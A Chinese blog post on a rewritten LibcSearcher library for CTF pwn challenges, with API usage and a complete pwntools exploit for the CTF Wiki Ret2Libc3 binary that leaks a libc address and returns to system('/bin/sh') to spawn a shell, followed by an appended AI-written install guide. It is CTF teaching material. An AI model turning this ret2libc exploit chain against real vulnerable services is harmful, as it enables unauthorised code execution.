2021年能用的LibcSearcher

本文介绍了如何使用更新版的LibcSearcher库进行漏洞利用,特别是在CTF挑战中解决Ret2Libc3问题。通过示例展示了如何初始化搜索器,添加约束条件,以及如何确定和使用Libc的特定地址来获取shell。此外,还添加了新功能如查询可能的Libc数量、打印详细信息和迭代遍历所有可能的Libcs。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

  • Author:ZERO-A-ONE
  • Date:2021-11-27

这里介绍一个全新的 LibcSearcher 实现。基于 libc-database云端数据库而非本地数据库。原版 LibcSearcher 仓库由于年久失修,经测试发现其基本失效

项目地址如下:https://github.com/dev2ero/LibcSearcher

安装:

pip3 install LibcSearcher

使用方法:

from LibcSearcher import *
obj = LibcSearcher("fgets", 0x7ff39014bd90) # 使用一个已知符号地址作为初始约束,初始化 LibcSearcher
obj.add_condition("atoi", 218528) # 添加一个约束条件
obj.dump("printf") # 根据已有约束条件,查询某个符号在 Libc 中的地址

此外,比起以上原版接口,添加了如下些许姿势

len(obj) # 返回在当前约束条件下,可能的 Libc 数量

print(obj) # 若 Libc 已被唯一确定,打印其详细信息

for libc in obj :
    print(libc) # 实现了迭代器,打印(或其它操作)当前所有可能的 Libc 

obj.select_libc() # 打印可能的 Libc 列表,手动选择一个认为正确的 Libc
obj.select_libc(2) # 手动选择 2 号 Libc 作为正确的 Libc

具体举例使用的话以CTF Wiki里的Ret2Libc3为例,EXP改写为

#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print ("leak libc_start_main_got addr and return to main again")
payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

print ("get the related addr")
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher("__libc_start_main", libc_start_main_addr)
#libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
print ("get shell")
payload = flat([b'A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()
要安装LibcSearcher,您可以按照以下步骤进行操作: 1. 首先,您需要手动安装LibcSearcher。您可以使用以下命令将其克隆到您的本地目录: ``` sudo git clone https://github.com/lexsd6/LibcSearcher_plus.git ``` 2. 进入LibcSearcher_plus目录: ``` cd ./LibcSearcher_plus ``` 3. 授予setup.py文件执行权限: ``` sudo chmod 777 ./setup.py ``` 4. 如果您已经安装了libc-database,可以将其复制到LibcSearcher_plus目录下。如果没有安装,请执行以下命令克隆libc-database: ``` sudo git clone https://github.com/niklasb/libc-database.git ``` 5. 安装ruby环境(如果您已经安装了ruby环境,可以跳过此步骤): ``` sudo apt-get install ruby2.6 ruby2.6-dev ``` 6. 安装one_gadget工具: ``` sudo gem install one_gadget ``` 7. 执行setup.py文件进行安装: ``` sudo ./setup.py develop ``` 8. 如果您已经安装了libc-database,可以跳过此步骤。否则,进入libc-database目录并获取适用于Ubuntu和Debian系统的libc数据库: ``` cd ./libc-database sudo ./get ubuntu debian ``` 这样,您就成功安装了LibcSearcher。请注意,这是一个针对CTF比赛开发的小工具,用于在泄露了Libc中的某个函数地址后,根据地址的最后12位与常见的Libc.so进行对比。\[1\]\[2\] #### 引用[.reference_title] - *1* [LibcSearcher安装的心路历程和坑____Python2,setuptools,libcsearcher其他版本](https://blog.youkuaiyun.com/OrientalGlass/article/details/128541226)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [[二进制学习笔记]LibcSearcher安装](https://blog.youkuaiyun.com/hide_in_darkness/article/details/126224698)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值